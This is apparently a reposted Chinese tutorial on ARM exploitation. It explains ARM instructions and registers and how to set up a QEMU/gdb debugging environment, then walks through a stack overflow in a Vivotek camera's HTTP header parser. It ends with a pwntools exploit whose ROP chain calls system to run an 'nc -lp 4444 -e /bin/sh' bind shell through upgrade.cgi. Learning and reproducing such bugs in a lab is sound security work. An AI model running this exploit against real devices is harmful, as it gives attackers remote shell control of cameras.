Arm pwn学习

刚刚开始学习ARM pwn,下面如有错误,希望各位大佬多多包han,多多包涵。

 

先介绍下 Arm的一些常见指令

 

那就先来

 

Arm 三操作数指令

LDRB   R0, [R1, #-1] # 把R1-1的地址的值给R0
立即数前面加个 `#`

看看函数开始时

PUSH            {R4,R5,R7,LR}
STMFD   SP!, {R4-R11,LR}
这两条指令都常见在函数的开始
都是 压入栈中

Arm指令中的 - 感觉蛮简洁的,可以省略很多步骤和指令。

{R0-R4} 就是指 R0 R1 R2 R3 R4 寄存器

Arm LDR 指令

ldr指令的格式:
LDR R0, [R1]
LDR R0, =NAME
LDR R0, =0X123
对于第一种没有等号的情况,R1寄存器对应地址的数据被取出放入R0
对于第二种有等号的情况,R0寄存器的值将为NAME标号对应的地址。
对于第三种有等号的情况,R0寄存器的值将为立即数的值

LDM 和 STM是多数据传送指令,用来装载和存储多个字的数据从/到内存。比如:

STMFD   SP!, {R4-R11,LR} 的伪代码如下
SP = SP - 9×4;
address = SP;
for i = 4 to 11
Memory[address] = Ri;
address  = address + 4;
Memory[address] = LR;
总的来说就是 把{R4-R11}压到栈中,然后再把LR压到栈中

指令格式是:
  xxM{条件}{类型}  Rn{!}, <寄存器列表>{^}
‘xx’是 LD 表示装载,或 ST 表示存储。

再加 4 种‘类型’就变成了 8 个指令:

  栈        其他
  LDMED     LDMIB     预先增加装载
  LDMFD     LDMIA     过后增加装载
  LDMEA     LDMDB     预先减少装载
  LDMFA     LDMDA     过后减少装载

  STMFA     STMIB     预先增加存储
  STMEA     STMIA     过后增加存储
  STMFD     STMDB     预先减少存储
  STMED     STMDA     过后减少存储

寄存器命名:

Reg APCS 意义
R0 A1 工作寄存器
R1 A2
R2 A3
R3 A4
R4 V1 必须保护
R5 V2
R6 V3
R7 V4
R8 V5
R9 V6,SB 静态基址寄存器
R10 SL,v7 堆栈限制寄存器
R11 FP,v8 帧指针,用于保存栈帧
R12 IP 指令指针
R13 SP 栈顶指针
R14 LR 链接寄存器,保存的是函数的返回地址
R15 PC 程序计数器,就是下一条指令的地址
CPSR
程序状态寄存器
SPSR
程序状态寄存器

在常见的程序中 前面的命名一般都是以R*,一些比较特殊的寄存器,就命令,比如 LR SP 在IDA里面都是显示APCS。


STR(存储) 和 LDR(装载) 是来存储 和 装载单一字节或字的数据从/到内存
  LDR{条件}    Rd, <地址>
  STR{条件}    Rd, <地址>
 在STR 、LDR、 MOV后面加上EQ 代表的是 32位
 
ldr = Load Word
ldrh = Load unsigned Half Word
ldrsh = Load signed Half Word
ldrb = Load unsigned Byte
ldrsb = Load signed Bytes
  
str = Store Word
strh = Store unsigned Half Word
strsh = Store signed Half Word
strb = Store unsigned Byte
strsb = Store signed Byte

Arm 跳转

B address  #就像是jmp
BL #后面加分支 # 相当于call
BL      strncpy
BEQ #不等于 想到于 jne
BCC #进位清除,应该就是 cmp后,进位为0就跳 感觉就像是 <
BGT # 大于
BLT #小于
BCS #进位设置,应该就是cmp后,有进位 感觉就像是 >=
BLX #实现跳转的同时切换ARM的状态ARM->Thunb或者Thunb->ARM
BX #可以跳转到ARM指令或者Thumb指令

Arm 程序状态寄存器处理指令

MRS:用于将程序状态寄存器的内容送到通用寄存器
MSR:将操作数的内容送到程序状态寄存器的特定域

Arm 比较指令

CMP 这个跟 x86的差不多,不改变寄存器的值,更新CPSR标志寄存器
TST 感觉跟test 有点像 都是不影响目的寄存器的值,改变状态寄存器

Arm 标志位

标记 含义
N(Negative) 指令执行结果为负时置1
Z(Zero) 指令执行结果为0时置1
C(Carry) 加法有进位则置1否则置0,减法有借位则置0否则置1
V(oVerflow) 指令执行结果超出32位补码存储范围时置1
E(Endian-bit) 置0时使用小端序,置1时使用大端序
T(Thumb-bit) 置1时使用Thumb模式,置0时使用ARM模式 Thumb 模式就是16位,ARM就是32位
M(Mode-bit) 共5位表示处理器运行模式
J(Jazelle) 对于有的处理器,置位表示允许以硬件执行java字节码

做题,了解这些指令就差不多了

环境搭建

可以用qemu-arm加 gdb-multiarch , gdb-multiarch 加gdbserver或者直接arm_now (后面这个。我安装了还是不太会用。逃····

第一种

这种我没具体的调试过,之前就用了一次,感觉没第二种舒服

sudo apt-get install git gdb gdb-multiarch
apt search "libc6-" | grep "arm"
sudo apt-get install -y gcc-arm-linux-gnueabi

qemu-arm -g port -L /usr/arm-linux-gnueabi ./pwn
这是运行程序,-L是依赖库
然后用gdb-multiarch 
targe remote 上去

第二种

首先先下载 arm-debian的qemu镜像

https://people.debian.org/~aurel32/qemu/armel/ or

https://people.debian.org/~aurel32/qemu/armhf/

#这些都是在本机进行操作
sudo tunctl -t tap0 -u `whoami` #这边新建一张网卡和虚拟机进行通信
sudo ifconfig tap0 192.168.2.1/24 #给网卡配置ip
#这个配置要在一个段上面,这个是为了后面方便传文件进qemu虚拟机里面
#然后
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic  #启动虚拟机镜像
#如果下载的是armel 就上面的,gdbserver也要用对应的armel
#如果下载的是armhf 就对应改下几个就可以

#具体参数 可以 sudo qemu-system-arm -h 查看
#然后最后把simpleHTTPServer起来就OK
#在想传文件的目录运行
python -m SimpleHTTPServer#默认起8000端口,反正这端口一般也没用,懒得改默认了

#然后进入虚拟机
#密码账号都是root
#进去之后 如果是固件的话一般都是能把整个环境弄到,那就用chroot起,这样方便,chroot起的,
#要把proc和dev挂载到chroot起了之后的根目录
sudo mount -o bind /dev ./squashfs-root/dev
sudo mount -t proc /proc ./squashfs-root/proc
#然后也配置网卡地址
ifconfig eth0 192.168.2.2/24
#然后用 
wget http://x.x.x.x:8000/filename
#把文件给拷进来,调试程序,gdbserver都是需要拷进来
#gdbserver 下载链接
#https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt
#chroot
chroot . sh
#用gdbsever起环境
#gdb-multiarch attach上去就能调试了

其他:

qemu-arm-static 可以运行静态编译的可执行程序
sudo apt install qemu-user-static
这个可以用来调试静态编译的文件

实例调试分析

就只开了 nx

漏洞所在的函数

int __fastcall sub_17F80(char *a1)
{
  char *v1; // r4
  char *v2; // r0
  int v3; // r3
  char *v4; // r5
  unsigned int v5; // r9
  unsigned __int8 *v6; // r8
  char *v7; // r3
  int v8; // r6
  int v9; // t1
  int v10; // r10
  int v11; // r2
  int v12; // r2
  unsigned __int8 *v13; // r0
  bool v14; // zf
  int v15; // r2
  int v16; // t1
  bool v17; // zf
  char *v18; // ST14_4
  int v19; // r0
  int v20; // r2
  int v21; // r1
  ssize_t v22; // r5
  int v23; // r2
  char *v24; // r0
  const char *v25; // r6
  char *v26; // r0
  int result; // r0
  int v28; // r6
  FILE *v29; // r0
  int v30; // r6
  FILE *v31; // r0
  const char *v32; // r1
  int v33; // r2
  int v34; // r3
  char *v35; // r7
  char *v36; // r6
  char *v37; // r0
  int v38; // r7
  int v39; // r0
  int v40; // r2
  unsigned int v41; // r3
  char *haystack; // [sp+Ch] [bp-44h]
  char dest[4]; // [sp+18h] [bp-38h]
  int v44; // [sp+1Ch] [bp-34h]
  int v45; // [sp+20h] [bp-30h]
  int v46; // [sp+24h] [bp-2Ch]

  v1 = a1;
  haystack = a1 + 13690;
  v2 = strncpy(a1 + 21882, a1 + 13690, 0x1FFFu);
  v3 = *((_DWORD *)v1 + 1629);
  v4 = &v1[*((_DWORD *)v1 + 18) + 13690];
  v5 = (unsigned int)&haystack[v3];
  if ( dword_34864 & 0x10 && (unsigned int)v4 < v5 )
  {
    haystack[v3] = 0;
    sub_16534(v2);
    fprintf((FILE *)stderr, "%s:%d - Parsing headers (\"%s\")\n", "src/read.c", 57, v4);
  }
  v6 = (unsigned __int8 *)(v4 - 1);
  v7 = v4;
  if ( (unsigned int)v4 >= v5 )
  {
LABEL_26:
    if ( *(_DWORD *)v1 > 3u )
      return 1;
    v21 = *((_DWORD *)v1 + 1629);
    if ( (unsigned int)(0x1FFF - v21) >= 0x2000 )
    {
      sub_1627C(v1);
      fwrite("No space left in client stream buffer, closing\n", 1u, 0x2Fu, (FILE *)stderr);
      result = 0;
      *((_DWORD *)v1 + 4) = 400;
      *(_DWORD *)v1 = 12;
      return result;
    }
    v22 = read(*((_DWORD *)v1 + 1112), &haystack[v21], 0x2000 - v21);
    if ( !strncmp(haystack, "POST", 4u) || (v26 = (char *)strncmp(haystack, "PUT", 3u)) == 0 )
    {
      v23 = (unsigned __int8)v1[13690];
      *(_DWORD *)dest = 0;
      v44 = 0;
      v45 = 0;
      v46 = 0;
      if ( v23 )
      {
        v35 = strstr(haystack, "Content-Length");
        v36 = strchr(v35, '\n');
        v37 = strchr(v35, ':');
        strncpy(dest, v37 + 1, v36 - (v37 + 1)); // 这里复制有bug
      }
      v24 = strstr(haystack, "\r\n\r\n");
      if ( v24 && (v25 = v24 + 4, (signed int)(v24 + 4) <= (signed int)&haystack[*((_DWORD *)v1 + 1629) - 1 + v22]) )
      {
        v26 = strstr(haystack, "upgrade.cgi");
        if ( !v26 || (v26 = strstr(v25, "\r\n\r\n")) != 0 )
        {
          *((_DWORD *)v1 + 7623) = -1;
          goto LABEL_36;
        }
        v30 = (int)(v1 + 28672);
        ++*((_DWORD *)v1 + 7623);
        v31 = (FILE *)stderr;
        v32 = "req->iCount++(2)= %d\n";
      }
      else
      {
        v30 = (int)(v1 + 28672);
        v31 = (FILE *)stderr;
        v32 = "req->iCount++= %d\n";
        ++*((_DWORD *)v1 + 7623);
      }
      fprintf(v31, v32);
      v33 = *(_DWORD *)(v30 + 1820);
      v26 = (char *)(1717986919 * v33);
      *(_DWORD *)(v30 + 1820) = v33 % 20;
    }
LABEL_36:
    if ( v22 < 0 )
    {
      v34 = *_errno_location();
      if ( v34 != 4 )
      {
        if ( v34 == 11 )
          return -1;
        sub_1627C(v1);
        perror("header read");
        *((_DWORD *)v1 + 4) = 400;
        return 0;
      }
    }
    else
    {
      if ( !v22 )
      {
        if ( *((_DWORD *)v1 + 1628) >= (unsigned int)dword_37E6C || *((_DWORD *)v1 + 15) || *((_DWORD *)v1 + 1629) )
        {
          sub_1627C(v1);
          fwrite("client unexpectedly closed connection.\n", 1u, 0x27u, (FILE *)stderr);
        }
        *((_DWORD *)v1 + 4) = 400;
        return 0;
      }
      v14 = (dword_34864 & 0x10) == 0;
      *((_DWORD *)v1 + 1629) += v22;
      if ( !v14 )
      {
        sub_16534(v26);
        v29 = (FILE *)stderr;
        v1[*((_DWORD *)v1 + 1629) + 13690] = 0;
        fprintf(v29, "%s:%d -- We read %d bytes: \"%s\"\n", "src/read.c", 356, v22, "");
      }
    }
    return 1;
  }
  while ( 2 )
  {
    if ( *((_DWORD *)v1 + 7623) > 0 )
      goto LABEL_26;
    v9 = (unsigned __int8)*v4++;
    v8 = v9;
    v10 = v9 - 13;
    if ( v9 != 13 )
      v10 = 1;
    if ( v8 == 161 )
      v11 = v10 & 1;
    else
      v11 = 0;
    if ( v11 )
    {
      v12 = *v6;
      v13 = v6;
      v14 = v12 == 0;
      if ( *v6 )
        v14 = v12 == 10;
      if ( !v14 )
      {
        do
        {
          v16 = *(v13-- - 1);
          v15 = v16;
          v17 = v16 == 0;
          if ( v16 )
            v17 = v15 == 10;
        }
        while ( !v17 );
      }
      v18 = v7;
      v19 = strncmp((const char *)v13 + 1, "User-Agent:", 0xBu);
      v7 = v18;
      if ( v19 )
      {
        sub_1627C(v1);
        fprintf((FILE *)stderr, "Illegal character (%d) in stream.\n", 161);
        sub_1BC48(v1);
        return 0;
      }
    }
    v20 = *(_DWORD *)v1;
    switch ( *(_DWORD *)v1 )
    {
      case 0:
        if ( v8 == 13 )
        {
          *((_DWORD *)v1 + 17) = v7;
          *(_DWORD *)v1 = 1;
          goto LABEL_24;
        }
        if ( v8 != 10 )
          goto LABEL_24;
        *((_DWORD *)v1 + 17) = v7;
        *(_DWORD *)v1 = 2;
        goto LABEL_52;
      case 1:
        if ( v8 != 10 )
          goto LABEL_22;
        *(_DWORD *)v1 = 2;
LABEL_52:
        ++*((_DWORD *)v1 + 18);
        goto LABEL_53;
      case 2:
        if ( v8 == 13 )
        {
          *(_DWORD *)v1 = 3;
          goto LABEL_24;
        }
        if ( v8 != 10 )
        {
LABEL_23:
          *(_DWORD *)v1 = 0;
LABEL_24:
          ++*((_DWORD *)v1 + 18);
LABEL_25:
          ++v6;
          v7 = v4;
          if ( (unsigned int)v4 >= v5 )
            goto LABEL_26;
          continue;
        }
LABEL_45:
        ++*((_DWORD *)v1 + 18);
        *(_DWORD *)v1 = 4;
LABEL_46:
        v28 = sub_1A4F4(v1);
        if ( !v28 )
          return 0;
        if ( (unsigned int)(*((_DWORD *)v1 + 3) - 3) > 1 )
          return v28;
        v38 = *((_DWORD *)v1 + 42);
        *((_DWORD *)v1 + 17) = &v1[*((_DWORD *)v1 + 1629) + 13690];
        *((_DWORD *)v1 + 16) = v4;
        *(_DWORD *)v1 = 5;
        if ( !v38 )
        {
          sub_1627C(v1);
          fwrite("Unknown Content-Length POST!\n", 1u, 0x1Du, (FILE *)stderr);
          sub_1BC48(v1);
          return 0;
        }
        v39 = sub_216EC(v38);
        if ( v39 < 0 )
        {
          sub_1627C(v1);
          fprintf((FILE *)stderr, "Invalid Content-Length [%s] on POST!\n", *((_DWORD *)v1 + 42));
          sub_1BC48(v1);
          return 0;
        }
        v40 = *((_DWORD *)v1 + 16);
        v41 = *((_DWORD *)v1 + 17) - v40;
        *((_DWORD *)v1 + 11) = v39;
        *((_DWORD *)v1 + 12) = 0;
        if ( v39 >= v41 )
          return v28;
        *((_DWORD *)v1 + 17) = v40 + v39;
        return v28;
      case 3:
        if ( v8 == 10 )
          goto LABEL_45;
LABEL_22:
        if ( v10 )
          goto LABEL_23;
        goto LABEL_24;
      default:
        ++*((_DWORD *)v1 + 18);
        if ( v20 == 2 )
        {
LABEL_53:
          **((_BYTE **)v1 + 17) = 0;
          if ( *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16) > 3071 )
          {
            sub_1627C(v1);
            fprintf(
              (FILE *)stderr,
              "Header too long at %lu bytes: \"%s\"\n",
              *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16));
            sub_1BC48(v1);
            return 0;
          }
          if ( *((_DWORD *)v1 + 15) )
          {
            if ( !sub_1A878(v1) )
              return 0;
          }
          else
          {
            if ( !sub_19FF0(v1) )
              return 0;
            if ( *((_DWORD *)v1 + 2) == 1 )
              return sub_1A4F4(v1);
          }
          *((_DWORD *)v1 + 16) = v4;
        }
        else if ( v20 == 4 )
        {
          goto LABEL_46;
        }
        goto LABEL_25;
    }
  }
}

上面看到 strcpy存在bug,就是长度时按照输入来计算的,这时只要控制好,就能实现栈溢出。

先看看前面的的指令有没分析正确

能看出那些寄存器是用来做参数的 r0 r1 r2 ,然后依次往后


r3 是栈顶指针,lr是保存着返回地址,pc就是当前指令的下一条,cpsr 程序状态寄存器

看看程序开头和结尾

开头


结尾

R4-R11,LR都是放进栈里,如果发生了栈溢出,那岂不是能基本控制大多数的参数了,前面4个没有控制,我估摸着是用来做 传参用的。

这道题还是把aslr关了。

看到上图就清楚,此时的栈已经被控制了,执行为箭头所指向的,那r4-r11,LR都给控制了。

关了aslr就是直接执行system了,但是得控制参数,这个就直接用ROPgadgets就OK了

直接控制R0就ok

exp:

from pwn import *

context.log_level ='debug'

p = remote("192.168.2.2",80)
system_addr = 0x76f74ab0

order_commad  = "nc  -lp 4444 -e /bin/sh;pwd;pwd;"
pre = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = "a"*52+p32(0x00048784+0x76f2d000)+p32(0x7effeb68)+p32(0x00016aa4+0x76f2d000)+'a'*8+p32(system_addr)
payload = pre+payload+order_commad+"\n\r\n\r\n"

p.sendline(payload)
p.interactive()

参考链接:

ivotek远程栈溢出漏洞分析与复现
https://xz.aliyun.com/t/5054
vivetok 摄像头远程栈溢出漏洞分析
https://ray-cp.github.io/archivers/2019-09-22-vivetok_remote_stack_overflow

相关实验:

ARM漏洞利用技术一--编写arm shellcode 

https://www.hetianlab.com/expc.do?ec=ECID3ab6-0a4a-40bb-88e8-d19efce371b5

(通过该实验了解arm环境下编写shellcode的基本过程,以execve()为例,详细介绍了相关步骤,包括系统调用、系统调用后、函数参数、去除空字符、转换进制等。)

有才能的你快来投稿吧!

投稿细则都在里面了,点击查看哦

重金悬赏 | 合天原创投稿涨稿费啦!

点击这里提升自己

猜你喜欢

转载自blog.csdn.net/qq_38154820/article/details/107873463
今日推荐